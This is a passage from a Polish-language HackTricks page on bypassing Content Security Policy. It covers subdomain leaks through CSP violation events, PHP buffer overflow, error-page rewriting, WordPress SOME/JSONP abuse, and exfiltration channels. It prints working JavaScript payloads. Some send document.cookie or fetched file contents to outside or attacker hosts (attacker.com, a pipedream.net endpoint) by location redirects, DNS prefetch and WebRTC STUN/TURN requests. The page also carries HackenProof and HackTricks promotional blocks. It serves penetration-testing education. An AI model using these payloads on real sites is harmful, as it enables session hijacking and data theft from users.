), który jest zezwolony przez CSP. - Następnie ten adres URL przekierowuje do tajnego adresu URL (np.
https://usersecret.example2.com
), który nie jest dozwolony przez CSP. - Słuchając zdarzenia
securitypolicyviolation
, można przechwycić właściwośćblockedURI
. Ta właściwość ujawnia domenę zablokowanego adresu URL, ujawniając tajną domenę, do której pierwotny adres URL został przekierowany.
Warto zauważyć, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w kontekście CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu niezdefiniowanego zachowania.
Inną techniką jest wykorzystanie samego CSP do wydedukowania tajnej subdomeny. Ta metoda polega na algorytmie wyszukiwania binarnego i dostosowaniu CSP, aby zawierał określone domeny, które są celowo blokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby blokować lub zezwalać na te subdomeny. Oto fragment pokazujący, jak można skonfigurować CSP, aby ułatwić tę metodę:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Poprzez monitorowanie, które żądania są blokowane lub zezwala na nie przez CSP, można zawęzić możliwe znaki w sekretnym subdomenie, ostatecznie odkrywając pełny URL.
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, demonstrując, jak pozornie bezpieczne zasady mogą niechcący ujawnić wrażliwe informacje.
Sztuczka z tutaj.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami luk w nagrodach!
Spostrzeżenia Hakerskie
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
Aktualności Hakerskie na Żywo
Bądź na bieżąco z szybkim tempem świata hakerskiego dzięki aktualnościom i spostrzeżeniom na żywo
Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy
Dołącz do nas na Discord i zacznij współpracować z najlepszymi hakerami już dziś!
Niebezpieczne Technologie do Ominania CSP
Przeładowanie bufora odpowiedzi PHP
PHP jest znany z buforowania odpowiedzi do 4096 bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając wystarczająco danych wewnątrz ostrzeżeń, odpowiedź zostanie wysłana przed nagłówkiem CSP, powodując zignorowanie nagłówka.
Następnie technika polega głównie na wypełnieniu bufora odpowiedzi ostrzeżeniami, aby nagłówek CSP nie został wysłany.
Pomysł z tego writeup.
Przepisanie Strony Błędu
Z tego writeup wygląda na to, że było możliwe ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME to technika, która nadużywa XSS (lub bardzo ograniczonego XSS) w punkcie końcowym strony do nadużycia innych punktów końcowych tego samego pochodzenia. Polega to na załadowaniu podatnego punktu końcowego z strony atakującej, a następnie odświeżeniu strony atakującej do rzeczywistego punktu końcowego w tym samym pochodzeniu, który chcesz nadużyć. W ten sposób podatny punkt końcowy może użyć obiektu opener
w ładunku, aby uzyskać dostęp do DOM rzeczywistego punktu końcowego do nadużycia. Aby uzyskać więcej informacji, sprawdź:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Co więcej, wordpress ma punkt końcowy JSONP w /wp-json/wp/v2/users/1?_jsonp=data
, który odbije dane wysłane w wyniku (z ograniczeniem tylko liter, cyfr i kropek).
Atakujący może nadużyć tego punktu końcowego, aby wykonać atak SOME na WordPress i osadzić go wewnątrz <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
, zauważ, że ten skrypt zostanie załadowany, ponieważ jest dozwolony przez 'self'. Co więcej, ponieważ WordPress jest zainstalowany, atakujący może nadużyć ataku SOME poprzez podatny punkt końcowy wywołania zwrotnego, który omija CSP, aby nadać więcej uprawnień użytkownikowi, zainstalować nowy dodatek...
Aby uzyskać więcej informacji na temat wykonania tego ataku, sprawdź https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Ominięcia wycieku CSP
Jeśli istnieje surowa CSP, która nie pozwala ci interagować z zewnętrznymi serwerami, zawsze istnieją pewne rzeczy, które możesz zrobić, aby wyciekać informacje.
Lokalizacja
Możesz po prostu zaktualizować lokalizację, aby przesłać na serwer atakującego tajne informacje:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
Możesz przekierować poprzez wstrzyknięcie meta tagu (to jest tylko przekierowanie, nie ujawni to zawartości)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i buforować je do późniejszego użycia.
Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: <link rel="dns-prefetch" href="something.com">
Możesz wykorzystać to zachowanie do wycieku wrażliwych informacji poprzez żądania DNS:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Inny sposób:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Aby temu zapobiec, serwer może wysłać nagłówek HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Wygląda na to, że ta technika nie działa w przeglądarkach bez interfejsu (bota) {% endhint %}
WebRTC
Na kilku stronach możesz przeczytać, że WebRTC nie sprawdza polityki connect-src
CSP.
W rzeczywistości możesz wyciekać informacje za pomocą żądania DNS. Sprawdź ten kod:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Inny sposób:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Sprawdzanie zasad CSP online
Automatyczne tworzenie CSP
https://csper.io/docs/generating-content-security-policy
Referencje
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Spojrzenie na Hacking
Zanurz się w treści, które zgłębiają emocje i wyzwania hackowania
Aktualności z Hackingu na Żywo
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo
Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.